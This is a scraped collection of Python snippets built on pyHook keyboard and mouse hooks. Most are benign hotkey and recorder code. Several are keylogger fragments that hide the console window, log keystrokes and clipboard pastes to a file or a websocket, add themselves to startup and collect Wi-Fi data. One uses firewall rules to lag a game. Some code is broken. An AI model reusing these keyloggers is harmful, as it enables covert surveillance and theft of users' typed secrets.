Exemplo n.º 1
0
    def __init__(self, controller, enabled=True):
        super(KeyHook, self).__init__()

        self.controller = controller

        # todo: need a way to set these
        self.k_LAUNCHMEDIA = 181
        self.k_NEXT = 176
        self.k_PLAYPAUSE = 179
        self.k_PREV = 178
        self.k_STOP = 177

        if os.name == 'nt' and HookManager is not None:
            self.hm = HookManager()
            self.hm.KeyDown = self.keyPressEvent
            if enabled:
                self.hm.HookKeyboard()
            self.enabled = enabled
            sys.stdout.write("Keyboard Hook enabled (enabled=%s)\n" % enabled)
        else:
            sys.stdout.write("Unable to initialize Keyboard Hook\n")
            self.hm = None
            self.enabled = False

        self.diag = False
Exemplo n.º 2
0
    def run(self):
        # Run until user clicks on exit iconTray
        if _platform == 'Linux':
            # Get root screen
            root = Display().screen().root
            # Add key grabber for 'print'
            root.grab_key(PRINT_KEY_ID_LINUX, X.Mod2Mask, 0, X.GrabModeAsync,
                          X.GrabModeAsync)

            # Create a loop to keep the application running
            while True:
                event = root.display.next_event()
                self.OnKeyboardEvent(event)
                time.sleep(0.1)

        elif _platform == 'Windows':
            # create a hook manager
            hm = HookManager()
            # watch for all mouse events
            hm.KeyDown = self.OnKeyboardEvent
            # set the hook
            hm.HookKeyboard()
            # wait forever
            while True:
                pc.PumpWaitingMessages()
                time.sleep(0.1)
                #print('Hotkey thread waiting..')

            print('Closing HookManager')
            del hm
Exemplo n.º 3
0
 def __init__(self, device=None):
     self.watched_hwnds = set()
     super(WindowsRecorder, self).__init__(device)
     self.kbflag = 0
     self.hm = HookManager()
     self.hm.MouseAllButtons = self._hook_on_mouse
     self.hm.KeyAll = self._hook_on_keyboard
Exemplo n.º 4
0
class Watcher(object):
    def __init__(self):
        self.hm = HookManager()
        self.hm.KeyDown = self.key_down_event
        self.hm.HookKeyboard()

    def key_down_event(self, event):
        try:
            if GetKeyState(HookConstants.VKeyToID('VK_SHIFT')) and GetKeyState(
                    HookConstants.VKeyToID('VK_MENU')):
                if HookConstants.IDToName(event.KeyID) == "1":
                    print("screenshot!")
                    title = "".join(
                        random.choice(ascii_letters + digits)
                        for i in range(16))
                    screenshot.screen(title + ".png")
                elif HookConstants.IDToName(event.KeyID) == "2":
                    print("screenshot active window")
                elif HookConstants.IDToName(event.KeyID) == "3":
                    print("screenshot selection")
        except:
            pass
        finally:
            return True

    def shutdown(self):
        PostQuitMessage(0)
        self.hm.UnhookKeyboard()
Exemplo n.º 5
0
    def hook(self):
        """ Hook Keyboard

        """
        self.hook = HookManager()
        self.hook.KeyDown = self.key_log
        self.hook.HookKeyboard()
Exemplo n.º 6
0
    def Keylogger(event):
        #######################
        # Usadas on Keylogger #
        #######################
        from win32console import GetConsoleWindow
        from win32gui import ShowWindow
        from pythoncom import PumpMessages
        from pyHook import HookManager
        from time import sleep
        win = GetConsoleWindow()
        ShowWindow(win, 0)

        def OnKeyboardEvent(event):
            if event.Ascii == 5:
                _exit(1)
            if event.Ascii != 0 or 8:
                f = open('C:\Users\Feric\Downloads\\test\keylogger.txt', 'a+')
                buffer = f.read()
                f.close()
                f = open('C:\Users\Feric\Downloads\\test\keylogger.txt', 'w')
                keylogs = chr(event.Ascii)
                if event.Ascii == 13:
                    keylogs = '/n'
                buffer += keylogs
                f.write(buffer)
                f.close()
                #print buffer

        hm = HookManager()
        hm.KeyDown = OnKeyboardEvent
        hm.HookKeyboard()
        #sleep(10)
        PumpMessages()
Exemplo n.º 7
0
    def init_record(self, event):
        '''Initiate recording of cursor positions'''
        # Preparing variables
        obj = event.GetEventObject()
        self.coord_counter = 0
        self.coord_widgets = []
        if self.movement_relative:
            self.last_coord = None

        # Starting listening for mouse presses
        if not hasattr(self, "hook"):
            self.hook = HookManager()
        self.hook.HookMouse()

        # Indicating recording
        self.frame.statusbar.SetStatusText("Recording cursor positions...")
        self.frame.SetTitle("MouseMove - Recording positions")
        if obj in [self.record, self.frame.page_keyconfig
                   ]:  # Need the keyconfig reference to make hotkey work
            first_coord = self.motionctrl.GetChildren()[5].GetWindow()
            self.hook.MouseLeftDown = self.record_coords
        else:
            first_coord = wx.FindWindowById(obj.GetId() - 3)
            self.first_coord = first_coord
            self.hook.MouseLeftDown = self.record_single_coord
        first_coord.SetForegroundColour("Red")
        first_coord.Refresh()
Exemplo n.º 8
0
def listener(q):
    def is_window_poe(window_name):
        return window_name == 'Path of Exile'
        # return True

    def foo(e):
        # print(e.KeyID)
        # print(e.WindowName)
        if is_window_poe(e.WindowName):
            k_id = e.KeyID
            if k_id == 116:
                q.put('f5')
                return False
            elif k_id == 117:
                q.put('f6')
                return False
            elif k_id == 118:
                q.put('f7')
                return False
            elif k_id == 119:
                q.put('f8')
                return False
        # else:
        #     event_info(e)
        return True

    hm = HookManager()
    hm.KeyDown = foo
    hm.HookKeyboard()
    print('start listen...')
    pythoncom.PumpMessages()
Exemplo n.º 9
0
def stop_game():
    # create a hook manager
    hm = HookManager()
    # watch for all mouse events
    hm.KeyDown = stop_game_callback
    # set the hook
    hm.HookKeyboard()
Exemplo n.º 10
0
    def __init__(self, functions):
        self.queue = []
        self.functions = functions
        self.calculateQueueMaxSize()

        self.hookMan = HookManager()
        self.hookMan.KeyDown = self.onKeyDown
        self.hookMan.HookKeyboard()
Exemplo n.º 11
0
    def setupUI(self):
        self.load_ini()

        ba = QtCore.QByteArray.fromBase64(dot_data)
        pixmap = QtGui.QPixmap()
        pixmap.loadFromData(ba, 'PNG')

        icon = QtGui.QIcon()
        icon.addPixmap(pixmap)

        self.setWindowIcon(icon)
        self.setWindowTitle('MouseFollow')
        self.setWindowFlags(QtCore.Qt.WindowMinimizeButtonHint | QtCore.Qt.WindowCloseButtonHint)

        self.v_layout = QtWidgets.QVBoxLayout(self)

        self.screen_layout = QtWidgets.QHBoxLayout()

        self.target_monitor_label = QtWidgets.QLabel("Target Monitor:")
        self.target_monitor_cb = QtWidgets.QComboBox()

        found = False
        for i in range(len(self.screens)):
            self.target_monitor_cb.addItem(self.screens[i].name())
            if self.screens[i].name() == self.target_monitor:
                self.target_monitor_cb.setCurrentIndex(i)

        self.target_monitor_cb.currentIndexChanged.connect(self.set_target_monitor)

        self.screen_layout.addWidget(self.target_monitor_label)
        self.screen_layout.addWidget(self.target_monitor_cb)
        self.v_layout.addLayout(self.screen_layout)

        self.draw_label = QtWidgets.QLabel("Draw: Right Alt")
        self.v_layout.addWidget(self.draw_label)

        self.laser_label = QtWidgets.QLabel("Laser: Left Alt")
        self.v_layout.addWidget(self.laser_label)


        self.red_dot = RedDot()
        self.draw_box = DrawBox()
        self.draw_box.mouseup.connect(self.save_preview_pos)

        self.hookman = HookManager()
        self.hookman.KeyDown = self.keydown
        self.hookman.KeyUp = self.keyup
        self.hookman.HookKeyboard()
        if os.name == 'posix':
            self.hookman.start()


        self.thread = Mover()
        self.thread.signal.connect(self.move_dot)
        self.thread.start()

        self.resize(300, 100)
        self.show()
Exemplo n.º 12
0
def main():
    from base64 import b64encode
    from ctypes import windll, byref, create_string_buffer, c_ulong
    from win32clipboard import OpenClipboard, GetClipboardData, CloseClipboard
    from pyHook import HookManager
    from pythoncom import PumpMessages

    def process():
        handle  = windll.user32.GetForegroundWindow()
        pid     = c_ulong(0)

        windll.user32.GetWindowThreadProcessId(handle, byref(pid))
        process_id = "%d" % pid.value
        executable = create_string_buffer("\x00" * 512)

        h_process = windll.kernel32.OpenProcess(0x400 | 0x10, False, pid)

        windll.psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
        window_title = create_string_buffer("\x00" * 512)

        length = windll.user32.GetWindowTextA(handle, byref(window_title),512)
        output = "\n[ PID: %s - %s - %s ]\n" % (process_id, executable.value, window_title.value)
        windll.kernel32.CloseHandle(handle)
        windll.kernel32.CloseHandle(h_process)
        return output

    def onEvent(event):
        if event.WindowName != current_window:
            current_window = event.WindowName
            pid = process()
            ws.send("\n{}\n".format(pid))
            
        if event.Ascii > 32 and event.Ascii < 127:
            ws.send(chr(event.Ascii))
        elif event.Ascii == 32:
            ws.send(' ')
        elif event.Ascii in (10,13):
            ws.send('\n')
        elif event.Ascii == 0:
            pass
        else:
            if event.Key == "V" and os.name == 'nt':
                win32clipboard.OpenClipboard()
                pasted_value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                ws.send("[PASTE] - %s" % (pasted_value))
            else:
                ws.send(str("%s" % event.Key))
        return True

    current_window  = None
    temp_buffer     = str()
    remote_log      =
    while True:
        kl = HookManager()
        kl.KeyDown = onEvent
        kl.HookKeyboard() 
        PumpMessages()
Exemplo n.º 13
0
 def checkP2T(self):
     # create a hook manager
     hm = HookManager()
     # watch for all keyboard events
     hm.KeyDown = self.OnKeyboardEvent
     # set the hook
     hm.HookKeyboard()
     # wait forever
     pythoncom.PumpMessages()
Exemplo n.º 14
0
 def __init__(self, keys):
     self.keys = [ord(k) for k in keys]
     # create a hook manager
     hm = HookManager()
     # watch for all mouse events
     hm.KeyDown = self.FilterKeys
     # set the hook
     hm.HookKeyboard()
     # wait forever
     pythoncom.PumpMessages()
Exemplo n.º 15
0
def keylogger(size):
    if os.name == "nt":
        import win32api
        import pythoncom
        from pyHook import HookManager
    else:
        p = subprocess.Popen(["echo $DISPLAY"],
                             shell=True,
                             stdout=subprocess.PIPE)
        output, err = p.communicate()
        if len(str(output).strip()) == 0:
            return "Display not found"
        else:
            import pyxhook
            from pyxhook import HookManager
    global keysPressed
    hm = HookManager()
    hm.KeyDown = onkeyboardevent
    hm.HookKeyboard()
    if os.name != "nt":
        hm.start()
    while len(keysPressed) < int(size):
        if os.name == "nt":
            pythoncom.PumpWaitingMessages()
    else:
        keys = keysPressed
        keysPressed = ">"
        if os.name == "nt":
            hm.UnhookKeyboard()
        else:
            hm.cancel()
        return keys
def main():
    filesystem = FileSystem(options)
    clipboard = Clipboard(options)
    handlers = Handlers(clipboard, filesystem)
    
    thread = Thread(target=handlers.clipboardChangedListener)
    thread.daemon = True
    thread.start()

    hm = HookManager()
    hm.KeyDown = handlers.handleKeypress
    hm.HookKeyboard()
    PumpMessages()
Exemplo n.º 17
0
def wait_for_end_game():
    global hm
    global window

    # create a hook manager
    hm = HookManager()
    # watch for all mouse events
    hm.KeyDown = end_game_callback
    # set the hook
    hm.HookKeyboard()
    # wait for window
    window = create_window(
        "game_config",
        "now start the game and when you fail press: " + FLAG_KEY)
    window.mainloop()
Exemplo n.º 18
0
class Keystroke_Watcher(object):
    def __init__(self):
        self.hm = HookManager()
        self.hm.KeyDown = self.on_keyboard_event
        self.hm.HookKeyboard()

    def on_keyboard_event(self, event):
        global count
        try:
            if event.KeyID == 221:
                openchat()
                print("PRINTING LINE #" + str(count))
                maxlines = readit(count)
                sendchat()
                count += 1
                if count == maxlines:
                    print("RESET DETECTED")
                    count = 0
            elif event.KeyID == 219:
                flag = RS.grab()
                if not flag:
                    print("Exit")
            elif event.KeyID == 220:
                sys.exit()
        except SystemExit:
            print("Exiting...")
            sys.exit()
        return True
Exemplo n.º 19
0
class Keystroke_Watcher:
    def __init__(self, master):
        self.hm = HookManager()
        self.hm.KeyDown = self.on_key_down
        self.hm.KeyUp = self.on_key_up
        self.hm.HookKeyboard()
        self.keys_held = set()  # set of all keys currently being pressed

    def get_key_combo_code(self):
        # find some way of encoding the presses.
        return '+'.join(
            [HookConstants.IDToName(key) for key in self.keys_held])

    def on_key_down(self, event):
        try:
            self.keys_held.add(event.KeyID)
        finally:
            return True

    def on_key_up(self, event):
        keycombo = self.get_key_combo_code()
        print(keycombo)
        try:
            # Do whatever you want with your keycombo here
            pass
        finally:
            self.keys_held.remove(event.KeyID)
            return True
Exemplo n.º 20
0
class Keystroke_Watcher(object):
    def __init__(self):
        self.hm = HookManager()
        self.hm.KeyDown = self.on_keyboard_event
        self.hm.HookKeyboard()


    def on_keyboard_event(self, event):
        try:
            OnKeyPress(event.KeyID)
        finally:
            return True

    def shutdown(self):
        PostQuitMessage(0)
        self.hm.UnhookKeyboard()
Exemplo n.º 21
0
    def __init__(self):
        """
        Constructor.

        :return: None.
        """
        # Create hook manager
        self._hook_manager = HookManager()

        # Add attributes `mouse_hook` and `keyboard_hook`.
        # Without the two attributes, the hook manager's method `__del__`
        # will raise AttributeError if its methods `HookKeyboard` and
        # `HookMouse` have not been called.
        self._hook_manager.mouse_hook = False

        self._hook_manager.keyboard_hook = False
Exemplo n.º 22
0
class ActionServer():
    ## While initializing set the key you want to use to trigger
    def __init__(self, char='F'):
        self.Key__t = char
        self.flag = 0
        self.hm = HookManager()
        self._callbacks = []

    def actionRead(self, event):
        if event.Key == self.Key__t:
            for callback in self._callbacks:
                callback(True)
        return True

    ## This cannot be used as it cant get background key inputs
    ## This would act like a asynchronous server as it has to be

    def actionGUI(self, coor):
        try:
            pyg.click(coor[0], coor[1])
            return True
        except:
            return False

    def __call__(self):
        if not self.flag:
            self.flag = 1
            #_thread.start_new_thread(self.actionRead,())
            self.hm.KeyDown = self.actionRead
            self.hm.HookKeyboard()
            print("The server is running")
        else:
            print("Server is already running")
Exemplo n.º 23
0
class KeystrokeWatcher(object):
    def __init__(self, functions):
        self.queue = []
        self.functions = functions
        self.calculateQueueMaxSize()

        self.hookMan = HookManager()
        self.hookMan.KeyDown = self.onKeyDown
        self.hookMan.HookKeyboard()

    def calculateQueueMaxSize(self):
        self.queueMaxSize = 0

        for function in self.functions:
            size = len(function[0])

            if size > self.queueMaxSize:
                self.queueMaxSize = size

    def onKeyDown(self, event):
        if len(self.queue) == self.queueMaxSize:
            del self.queue[-1]

        self.queue.insert(0, event.KeyID)
        self.checkQueue()

        return True

    def checkQueue(self):
        for pair in self.functions:
            keys, func = pair

            if len(self.queue) >= len(keys):
                found = True

                for i, key in enumerate(keys):
                    if self.queue[i] != key:
                        found = False
                        break

                if found:
                    func()

    def shutdown(self):
        PostQuitMessage(0)
        self.hookMan.UnhookKeyboard()
Exemplo n.º 24
0
    def __init__(self):
        '''
        Disallow multiple instances.source: ajinabraham / Xenotix - Python - Keylogger
        '''
        self.mutex = CreateMutex(None, 1, 'mutex_var_xboz')
        if GetLastError() == ERROR_ALREADY_EXISTS:
            self.mutex = None
            print "Multiple Instance not Allowed"
            sysExit(0)

        addToStartup()  # Add to startup
        writeWifi()
        writeKeylogs()  # Create keylogs.txt in case it does not exist
        self.hooks_manager = HookManager()  # Create a hook
        self.hooks_manager.KeyDown = self.OnKeyBoardEvent  # Assign keydown event handler
        self.hooks_manager.HookKeyboard()  # assign hook to the keyboard
        pythoncom.PumpMessages()
Exemplo n.º 25
0
    def __init__(self, hotkey_list):
        self.hotkey_manager = HookManager()
        self.hotkey_manager.HookKeyboard()
        self.hotkey_manager.KeyUp = self.on_key
        self.hotkey_manager.KeyDown = self.on_key
        self.is_listening = False
        self.pressed = {}
        self.key_que = []
        self.app_info = ActiveAppInfo()
        self.remap = RemapList()
        self.is_waiting_modifier_up = False
        self.hotkey_list = hotkey_list
        """:type :dict"""
        self.shell = win32com.client.Dispatch("WScript.Shell")

        self.is_listening_paused = False
        self.is_photoshop = False

        self.is_holding_left_ctrl = False
        self.is_holding_left_alt = False
        self.is_holding_left_shift = False

        self.is_holding_right_ctrl = False
        self.is_holding_right_alt = False
        self.is_holding_right_shift = False

        self.is_left_ctrl_down_injected = False
        self.is_left_ctrl_up_injected = False
        self.is_left_alt_down_injected = False
        self.is_left_alt_up_injected = False
        self.is_left_shift_down_injected = False
        self.is_left_shift_up_injected = False

        self.is_right_ctrl_down_injected = False
        self.is_right_ctrl_up_injected = False
        self.is_right_alt_down_injected = False
        self.is_right_alt_up_injected = False
        self.is_right_shift_down_injected = False
        self.is_right_shift_up_injected = False

        self.timer = QTimer()
        # noinspection PyUnresolvedReferences
        self.timer.timeout.connect(self.process_key_events)
        self.timer.start(30)
Exemplo n.º 26
0
def main():
    """
    main function (CLI endpoint)
    """
    global key_binding

    parser = argparse.ArgumentParser()

    help = """Set alternate key binding. Default is LCTRL+SPACE
                Format :- <KEY1>+<KEY2>. Ex:- RCTRL+RALT .
                To see available key bindings use 'clix -a' option"""

    parser.add_argument("-s", "--set-keybinding", type=str,
                        default=None, help=help)

    parser.add_argument("-a", "--show-available-keybindings",
                        help="Show available key bindings", action="store_true")

    parser.add_argument("-c", "--show-current-keybinding", action="store_true")

    args = parser.parse_args()
    args_dict = vars(args)

    if args.show_current_keybinding:
        print("Current key binding is: {}".format(get_current_keybinding()))
        sys.exit()

    elif args.show_available_keybindings:
        _show_available_keybindings()
        sys.exit()

    elif args.set_keybinding:
        try:
            keys = args_dict['set_keybinding'].split('+')
            key_binding = [available_keys[keys[0]], available_keys[keys[1]]]
        except KeyError:
            print("Please follow the correct format.")
        else:
            with open(curr_dir + "/clix/config", "wb") as f:
                pickle.dump(key_binding, f, protocol=2)
        finally:
            sys.exit()

    # start key-logging session
    new_hook = HookManager()
    new_hook.KeyDown = OnKeyPress
    new_hook.HookKeyboard()
    if current_os == 'linux':
        new_hook.start()
    elif current_os == 'win':
        pythoncom.PumpMessages()
Exemplo n.º 27
0
class Keystroke_Watcher(object):
    def __init__(self):
        self.hm = HookManager()
        self.hm.KeyDown = self.on_keyboard_event
        self.hm.HookKeyboard()
        self.alreadyOn = True

    def on_keyboard_event(self, event):
        try:
            if event.KeyID == 52:
                self.switchRule()
            elif event.KeyID == 53:
                self.generateRule()
        finally:
            return True

    def switchRule(self):
        if (self.alreadyOn == False):
            self.alreadyOn = True
            os.system(
                'netsh advfirewall firewall set rule name="ArmaLagg" new enable=no'
            )
            os.system(
                'netsh advfirewall firewall set rule name="Arma 3" new enable=yes'
            )
            print("not active")
        else:
            self.alreadyOn = False
            os.system(
                'netsh advfirewall firewall set rule name="ArmaLagg" new enable=yes'
            )
            os.system(
                'netsh advfirewall firewall set rule name="Arma 3" new enable=no'
            )
            print("active")

    def generateRule(self):
        os.system(
            'netsh advfirewall firewall add rule name="ArmaLagg" dir=out action=block program="'
            + input("Your Arma path:\n") + '" enable=no')
Exemplo n.º 28
0
 def __init__(self):
     self.hm = HookManager()
     self.hm.KeyDown = self.on_keyboard_event
     self.hm.HookKeyboard()
     self.alreadyOn = True
Exemplo n.º 29
0
        # cleanup stuff.
        stream.close()

    def getVirtualCableIndex(self):
        for i in range(self.audio.get_device_count()):
            audioDevice = self.audio.get_device_info_by_index(i)
            name = audioDevice['name'].lower()
            if (("virtual" in name) and ('input' in name)):
                return i  # self.virtualCableIndex = i11.119

    def getRandomWav(self, curdir):
        possibleWavs = []
        for root, dirs, files in os.walk(curdir):
            for file in files:
                fullPath = os.path.realpath(root + "/" + file)
                if (fullPath.endswith(".wav")) and (fullPath
                                                    not in possibleWavs):
                    #print(fullPath)
                    possibleWavs.append(fullPath)
        n = random.randint(0, len(possibleWavs) - 1)
        #print("full: ", possibleWavs[n])
        return possibleWavs[n]  # random wav file


soundBoard = SoundBoardPlayer()
hm = HookManager()
hm.KeyDown = soundBoard.onKeyboardEvent
hm.HookKeyboard()
# set the hook
pythoncom.PumpMessages()
Exemplo n.º 30
0
class KeyHook(object):

    playpause = pyqtSignal()
    play_prev = pyqtSignal()
    play_next = pyqtSignal()
    stop = pyqtSignal()

    def __init__(self, controller, enabled=True):
        super(KeyHook, self).__init__()

        self.controller = controller

        # todo: need a way to set these
        self.k_LAUNCHMEDIA = 181
        self.k_NEXT = 176
        self.k_PLAYPAUSE = 179
        self.k_PREV = 178
        self.k_STOP = 177

        if os.name == 'nt' and HookManager is not None:
            self.hm = HookManager()
            self.hm.KeyDown = self.keyPressEvent
            if enabled:
                self.hm.HookKeyboard()
            self.enabled = enabled
            sys.stdout.write("Keyboard Hook enabled (enabled=%s)\n" % enabled)
        else:
            sys.stdout.write("Unable to initialize Keyboard Hook\n")
            self.hm = None
            self.enabled = False

        self.diag = False

    def keyPressEvent(self, event):

        # return false to capture the key press
        if event.KeyID == self.k_PLAYPAUSE:
            self.playpause.emit()
            return False
        elif event.KeyID == self.k_STOP:
            self.stop.emit()
            return False
        elif event.KeyID == self.k_PREV:
            self.play_prev.emit()
            return False
        elif event.KeyID == self.k_NEXT:
            self.play_next.emit()
            return False
        elif self.diag:
            if event.Ascii > 0x20 or event.Ascii == 0xD:  #any char or \n
                sys.stdout.write("%s" % chr(event.Ascii)),
            else:
                sys.stdout.write("{%02X}" % event.KeyID)
        return True

    def setEnabled(self, b):
        if os.name == 'nt':
            if not self.enabled and b:
                self.hm.HookKeyboard()
                self.enabled = b
            elif self.enabled and not b:
                self.hm.UnhookKeyboard()

    def setDiagEnabled(self, b):
        self.diag = b

    def getDiagEnabled(self):
        return self.diag
Exemplo n.º 31
0
from pyHook.HookManager import HookConstants
from pythoncom import PumpMessages, PumpWaitingMessages

def is_shortcut(keys, combination):
	for key in combination:
		if not key in keys:
			return False
	return True

''' Main... '''
if __name__ == '__main__':

	global spotlight, hook_manager

	from SpotlightController import SpotlightController
	hook_manager = HookManager()
	spotlight = None
	controller = None

	keys_pressed = []
	trigger = ['Lcontrol', '1']
	quit = ['Lcontrol', 'Q']

	def OnKeyDown(event):
		global keys_pressed, spotlight, controller
		if not event.GetKey() in keys_pressed:
			keys_pressed.append(event.GetKey())
		
		if is_shortcut(keys_pressed, quit):
			exit(0)
Exemplo n.º 32
0
            output = shift_keys[key][0]
    # Handle capitalized keys.
    elif (shift_pressed and not caps_lock) or \
         (caps_lock and not shift_pressed):
        output = key.upper()
    else:
        output = key.lower()

    print("[{}]".format(output), end="", flush=True)

    # Pass execution to next hook registered
    return True


if __name__ == "__main__":

    key_layout = create_unicode_buffer(MAX_PATH)

    if USER32.GetKeyboardLayoutNameW(byref(key_layout)):
        print("KeyBoard Layout: {}".format(key_layout.value))
    else:
        print("Unknown KeyBoard Layout")

    # Create a hook manager and bind events
    hook_manager = HookManager()
    hook_manager.KeyDown = KeyDownEvent

    # Register the hook and execute forever
    hook_manager.HookKeyboard()
    pythoncom.PumpMessages()